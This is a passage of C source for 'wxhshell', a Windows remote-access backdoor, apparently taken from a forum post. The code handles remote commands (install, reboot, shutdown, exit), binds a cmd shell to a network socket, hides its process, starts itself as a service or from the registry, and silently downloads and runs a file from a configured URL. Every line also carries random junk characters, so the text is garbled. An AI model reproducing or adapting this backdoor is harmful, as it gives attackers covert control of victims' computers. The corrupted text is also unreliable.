  case '?': { '8dgYj  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ]@Zj-n8  
    break; B"8^5#t4s  
  } %>pglI  
  // 安装 FK+jfr [  
  case 'i': { "Tfbd^AU  
    if(Install()) >. zk-`>-  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); S . 1~#  
    else 2MJ0[9  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); J *^|ojX  
    break; yyBfLPXZ  
    } 18|H  
  // 卸载 oIf -s[uH  
  case 'r': { <5q:mG88  
    if(Uninstall()) ("IRv>} 0  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); .F> c Z,  
    else fr:RiOPn  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Yuh t<:`  
    break; 5 {'%trDEy  
    } y 37n~~%  
  // 显示 wxhshell 所在路径 ]D(%Ku,O%  
  case 'p': { DBVe69/S  
    char svExeFile[MAX_PATH]; @(oz`|*  
    strcpy(svExeFile,"\n\r"); 8l)^#"ySA  
      strcat(svExeFile,ExeFile); $ V}s3  
        send(wsh,svExeFile,strlen(svExeFile),0); 9\|3Gm_  
    break; ]<{BDXIGIE  
    } a0y;c@pkO  
  // 重启 5\qoZs*e  
  case 'b': { 1C'lT,twl  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); hPhN7E03  
    if(Boot(REBOOT)) lSQANC'  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ']4sx_)S  
    else { {TlS)i`  
    closesocket(wsh); qhiQ!fMQ  
    ExitThread(0); Gu&zplB  
    } {3`9A7bG  
    break; ")cdY) 14"  
    } +&Sf$t 1  
  // 关机 ?%;)> :3N  
  case 'd': { m#DC;(Pn  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); \6nWt6M  
    if(Boot(SHUTDOWN)) /sC$;l  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); epz2d~;  
    else { mltN$b%G=d  
    closesocket(wsh); oIX]9~  
    ExitThread(0); t'FY*|xk  
    } /__we[$E  
    break;  [T !#s  
    } Q%q_  
  // 获取shell a?&oOQd-iP  
  case 's': { jC<<S  
    CmdShell(wsh); glPOW  
    closesocket(wsh); ym<G.3%1  
    ExitThread(0); Z2hRTJJ[A  
    break; NDCZc_  
  } Hza{"I*^  
  // 退出 i]xyD'0  
  case 'x': { ZZ?=^g  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); e9"<.:&  
    CloseIt(wsh); d-39G*;1  
    break; > : \lDz  
    } ^!N_Nx/M  
  // 离开 6z!?U:bT  
  case 'q': { Zwp*JH+G  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); V$<og  
    closesocket(wsh); C$ nT&06o  
    WSACleanup(); lhJT&  
    exit(1); =Tb~CT=  
    break; ?$ o9/9w  
        } TfVB~"&  
  } uu]<R@!J  
  } }-YD_Pm K-  
rp.JYz,  
  // 提示信息 4AzS~5S  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); SJj0*ry:  
} )O2giVq7[0  
  } CzST~*lH  
A)s  
  return; om9fg66  
} pH'#v]"  
bU(t5 [  
// shell模块句柄 W1U r~x`  
int CmdShell(SOCKET sock) Kh'/Ne?  
{ fqFE GyeNr  
STARTUPINFO si; jsfyNl? 6  
ZeroMemory(&si,sizeof(si)); w/E4wp  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; J{\S+O2,*  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; DRj\i6-v  
PROCESS_INFORMATION ProcessInfo; (/tbe@<  
char cmdline[]="cmd"; ~z%K9YcyU  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); IWsB$T  
  return 0; Cddw\|'3  
} >mi%L3Pk  
wp$C J09f*  
// 自身启动模式 nlw(U3@7  
int StartFromService(void) #&5m=q$EI  
{ _~| j~QE]  
typedef struct q2Ax-#  
{ a~DR$^m  
  DWORD ExitStatus; N-4LdC  
  DWORD PebBaseAddress; P ;PS+S9  
  DWORD AffinityMask; R0, Q`  
  DWORD BasePriority; 8yA :C  
  ULONG UniqueProcessId; Tg)Fr)  
  ULONG InheritedFromUniqueProcessId; 4(|x@: wxm  
}   PROCESS_BASIC_INFORMATION; T/dchWG  
f[!N]*  
PROCNTQSIP NtQueryInformationProcess; 2?nK71c"  
U}_l]gNn  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; +#A >[,U  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ?&pjP,a  
_{TGO jZr  
  HANDLE             hProcess; G6]M~:<i  
  PROCESS_BASIC_INFORMATION pbi; N9Y,%lQ|B8  
a UAPh  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); sq*d?<:3  
  if(NULL == hInst ) return 0; bJmVq%>;  
9{^:+r  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); M g1E1kXe  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); u&m B;:&  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); `.>2h}op  
n,bZj<3t  
  if (!NtQueryInformationProcess) return 0; Gdi1lYu6V  
IM7k\  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 0bzD-K4WVd  
  if(!hProcess) return 0; -r_z,h|  
5E+l5M*(  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; c<r`E  
''s]6Jjw  
  CloseHandle(hProcess); )PVX)2P_C  
593D/^}D  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); %o.{h  
if(hProcess==NULL) return 0; GL(R9Y  
c{ +Y $  
HMODULE hMod; xoA\^AA  
char procName[255]; 4Fgy<^94`  
unsigned long cbNeeded; xbxU`2/  
q]`XUGC  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 3^xTZ*G  
k?o(j/  
  CloseHandle(hProcess); I)U|~N  
.ss/E  
if(strstr(procName,"services")) return 1; // 以服务启动 j$4Tot  
@=E@ *@g  
  return 0; // 注册表启动 /NNe/7'l  
} D"El6<3)h  
5YQ4]/h  
// 主模块 <2HI. @^  
int StartWxhshell(LPSTR lpCmdLine) q UY;CEf  
{ 4xjk^N9  
  SOCKET wsl; vHCz_ FV  
BOOL val=TRUE; Q>cLGdzO  
  int port=0; wwF]+w%lOw  
  struct sockaddr_in door; A84I*d  
]HgAI$aA,  
  if(wscfg.ws_autoins) Install(); !rlN|HB  
vClD)Ar  
port=atoi(lpCmdLine); / ~'ZtxA  
_Y40a+hk]  
if(port<=0) port=wscfg.ws_port; Y4YA1F  
8B"jvrs  
  WSADATA data; g|a2z_R  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; <*<7p{x  
t \kI( G  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   w4<RV:Vmt  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); XsQ?&xK=u  
  door.sin_family = AF_INET; QHUoAa`6v  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); vZ\~+qV,A  
  door.sin_port = htons(port); EGf9pcUEO&  
rQC{"hS1  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { f`*Ip?V-  
closesocket(wsl); U~azI(1"W  
return 1; M\BLuD  
} hR Y *WL  
>j{phZ  
  if(listen(wsl,2) == INVALID_SOCKET) { DB-4S-2  
closesocket(wsl); we9R4 *j  
return 1; #qi@I;;t  
} m2AA:u_*j  
  Wxhshell(wsl); 8p  }E  
  WSACleanup(); i:0~%X  
bEfxu;Su 3  
return 0; UxzZr%>s  
w8:~LX.n  
} 1tHTjEG4^3  
8QV+DDZx  
// 以NT服务方式启动 -8X* (7  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) \/*r45!  
{ q %i2' yE  
DWORD   status = 0; `PnB<rf:*1  
  DWORD   specificError = 0xfffffff; ~Aq;g$IJZ  
NYz{ [LM  
  serviceStatus.dwServiceType     = SERVICE_WIN32; e*;-vS9H  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 7_)'Re#  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; /v 7U~i5  
  serviceStatus.dwWin32ExitCode     = 0; g!(j.xe  
  serviceStatus.dwServiceSpecificExitCode = 0; ZMQSy7  
  serviceStatus.dwCheckPoint       = 0; DJr{;t$7~  
  serviceStatus.dwWaitHint       = 0; LGGC=;{}  
:PuJF`k  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); tRZCOEo4  
  if (hServiceStatusHandle==0) return; EtK,C~C}8  
zFmoo4P/  
status = GetLastError(); 23 BzD^2a  
  if (status!=NO_ERROR) f8'D{OP"G  
{ r%A-  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; c&z@HEzV7  
    serviceStatus.dwCheckPoint       = 0; vG`R.  
    serviceStatus.dwWaitHint       = 0; xG@zy4  
    serviceStatus.dwWin32ExitCode     = status; [vV]lWOp'  
    serviceStatus.dwServiceSpecificExitCode = specificError; f mILkXKz  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); jXB<"bw  
    return; H@GiHej  
  } Ufd{.o[{-  
1nhC! jDD  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 4zX@TI>j  
  serviceStatus.dwCheckPoint       = 0; zL$$G,  
  serviceStatus.dwWaitHint       = 0; z)I.^  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); T|`nw_0  
} uA dgR  
7'\<\oT  
// 处理NT服务事件,比如:启动、停止 g+|1khS)  
VOID WINAPI NTServiceHandler(DWORD fdwControl) f l*]ua  
{ 7'uuc]\5>  
switch(fdwControl) *oqQ=#\  
{ m~mw1r  
case SERVICE_CONTROL_STOP: ,r!_4|\  
  serviceStatus.dwWin32ExitCode = 0; $e1==@ R  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; a[bu{Z]%  
  serviceStatus.dwCheckPoint   = 0; 42kr&UY&  
  serviceStatus.dwWaitHint     = 0; & F\HR  
  { Cg^=&1 |  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Sa7bl~p\  
  } g0NtM%  
  return; s ki'I  
case SERVICE_CONTROL_PAUSE: J@ZIW%5  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; U0G(  
  break; (+lw t  
case SERVICE_CONTROL_CONTINUE: qKag'0e  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; >J,Rx!fq3  
  break; ")LcB' C  
case SERVICE_CONTROL_INTERROGATE: + pTc2z  
  break; w}nc^6qH  
}; M|nTO  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); VgLrufJ  
} #lXwBfBMf  
:23w[vt=  
// 标准应用程序主函数 ".Z|zt6C  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) aGY R:jR$  
{ IGqg,OEAp  
L ldZ"%P  
// 获取操作系统版本 _3v6c  
OsIsNt=GetOsVer(); }xXUCU<  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 6V)P4ao  
J3`a}LyDf  
  // 从命令行安装 } wZ9#Ll  
  if(strpbrk(lpCmdLine,"iI")) Install(); I(!i"b9  
n?'I&0>M  
  // 下载执行文件 1 ~ fD:  
if(wscfg.ws_downexe) { y}Ji( q~  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 1h_TG.YL9>  
  WinExec(wscfg.ws_filenam,SW_HIDE); MHNuA,cz  
} 91'i7&~xdG  
KG7 ~)g  
if(!OsIsNt) { +ve S~   
// 如果时win9x,隐藏进程并且设置为注册表启动 oZm)@Vv;  
HideProc(); ~.\CG'g  
StartWxhshell(lpCmdLine); ;Qe-y|>  
} wj$l 093  
else 2loy4f  
  if(StartFromService()) h$ ]=z\=  
  // 以服务方式启动 l12Pj02w  
  StartServiceCtrlDispatcher(DispatchTable); #pDWwnP[rt  
else ,=!_7'm  
  // 普通方式启动 Y~vyCU5nWR  
  StartWxhshell(lpCmdLine); ;$=kfj9 :7  
gp@X(d  
return 0; R|4a9G  
}
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只看该作者 1 发表于: 2006-10-10
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